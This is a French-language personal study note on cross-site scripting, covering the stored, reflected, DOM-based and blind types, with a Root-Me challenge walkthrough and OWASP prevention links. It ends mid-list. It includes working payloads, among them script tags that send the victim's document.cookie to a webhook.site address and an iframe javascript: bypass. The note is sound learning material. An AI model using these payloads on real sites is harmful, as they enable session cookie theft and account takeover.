XSS

Def et Fonctionnement:


Pasted image 20240403101526.png

Les attaques XSS, ou Cross-Site Scripting, sont des types de vulnérabilités de sécurité informatique qui permettent à un attaquant d'injecter du code malveillant (Injections), souvent du JavaScript, dans les pages web vues par d'autres utilisateurs. Ces attaques exploitent les failles dans les applications web qui ne filtrent pas ou ne vérifient pas correctement les entrées utilisateurs avant de les afficher sur une page web. Voici les trois principaux types d'attaques XSS et leurs enjeux, suivis des moyens de remédiation.
Lien complet :
https://owasp.org/www-community/attacks/xss/

Exploitation :


Prérequis :

  1. La DATA entre dans une application à travers une source non-authorisée (web request)
  2. la DATA est envoyée sans validation
    Les champs exploitables pour une XSS sont ceux pour lesquelles il y a ensuite un traitement dans le backend.
    Il existe plusieurs types de XSS :
    Stored vs Reflected vs Blind

Stored XSS

Dans ce cas le script inséré est stocké en permanence sur le server, le script s'exécute pour chaque connexion. Par exemple, un message sur un forum.
C'est dangereux car il n'y a pas besoin qu'un utilisateur clique sur un lien.
Chall Rootme : XSS - Stockée 1

Exploitation Stored XSS :


<SCRIPT SRC=https://cdn.jsdelivr.net/gh/Moksh45/host-xss.rocks/index.js></SCRIPT>

Il n'y a donc pas de protection XSS. Le but est de lancer un script qui récupère le cookie de la personne qui charge la page.
On va host un server qui récupère ce qui lui est send ; et cela dans burp

`<script> fetch('https://webhook.site/909f1ca1-5e83-403a-98d8-a5920915f234', { method: 'POST', mode: 'no-cors', body:document.cookie }); </script>`

Ca ne fonctionne pas même avec un server webhook ce qui est chiant de fou un autre test :

<script>document.location('https://webhook.site/909f1ca1-5e83-403a-98d8-a5920915f234'+document.cookie)</script>

ca a fonctionné mais jsp si cest le premier ou bien le second code

Reflected XSS (Non-persistent XSS)

Le XSS réfléchi se produit lorsque l'application web reçoit des données de l'utilisateur, généralement via une requête HTTP (comme une requête GET avec des paramètres dans l'URL), et renvoie immédiatement ces données dans la réponse sans les valider ni les encoder. L'attaquant peut alors envoyer un lien malveillant à la victime, qui, une fois cliqué, exécute le script malveillant dans le navigateur de la victime.

Exemple : Si un site web affiche des résultats de recherche directement à partir d'une requête utilisateur sans nettoyage adéquat, un attaquant pourrait créer un lien contenant du JavaScript malveillant :

http://exemple.com/recherche?q=<script>alert('XSS')</script>

Si une victime clique sur ce lien, le script s'exécutera dans son navigateur.

XSS DOM-based

Dans une attaque XSS basée sur le DOM, le script malveillant est injecté et exécuté en raison d'une manipulation du DOM de la page par le script client sans une validation appropriée. Cela peut être dû à l'écriture directe de données contrôlables par l'utilisateur dans le DOM.

Exemple :

document.getElementById('someElement').innerHTML = location.hash;

Si l'URL contient un hash malveillant, il sera écrit dans le DOM et exécuté.

Exploitation :


On exploite la bare de recherche du site qui permet d'afficher des résultats :
Pasted image 20240424100717.png
notr terme de recherche est affiché au dessus de notre recherche
on vérifie si la faille est exploitable :
Pasted image 20240424101054.png
Pasted image 20240424100759.png
Avec <script>alert(xss)</script> le script ne se déclenche pas, on doit donc contourner.
Si on utilise des iframe (comme sur hacktricks):
<iframe src="javascript:alert('xss')">
Pasted image 20240424101412.png
on voit que l'on peut faire une exploitation

Le but est généralement de créer un lien malveillant, qui va executer quelque chose sur la page lorsque la victime clique (par exemple envoyer ses cookies de session)

Def DOM:

Le DOM, ou Document Object Model (Modèle d'Objet de Document), est une interface de programmation pour les documents HTML et XML. Il représente la page de sorte que les programmes peuvent changer la structure du document, son style et son contenu. Le DOM fournit une représentation du document sous forme d'arbre, permettant aux développeurs de manipuler le contenu, la structure et le style de la page Web.

Blind XSS

Le script est stocké dans le backend, et sera executé dès qu'un admin backend va ouvrir. Par exemple, des formulaires de feedback XSS vont dans le backend et dès que l'admin va l'ouvrir cela va executer quelque chose. C'est un type de XSS qui est stored. Cela ressemble beaucoup à CSRF

Note :

Il existe d'autres types d'attaques XSS.

Cheatsheet :


Prévention :


https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
Sinon des appareils en amont du serveur WEB comme des WAF ou des firewall applicatifs peuvent encore vérifier la présence de chaîne de character dangereux.
Aussi on peut :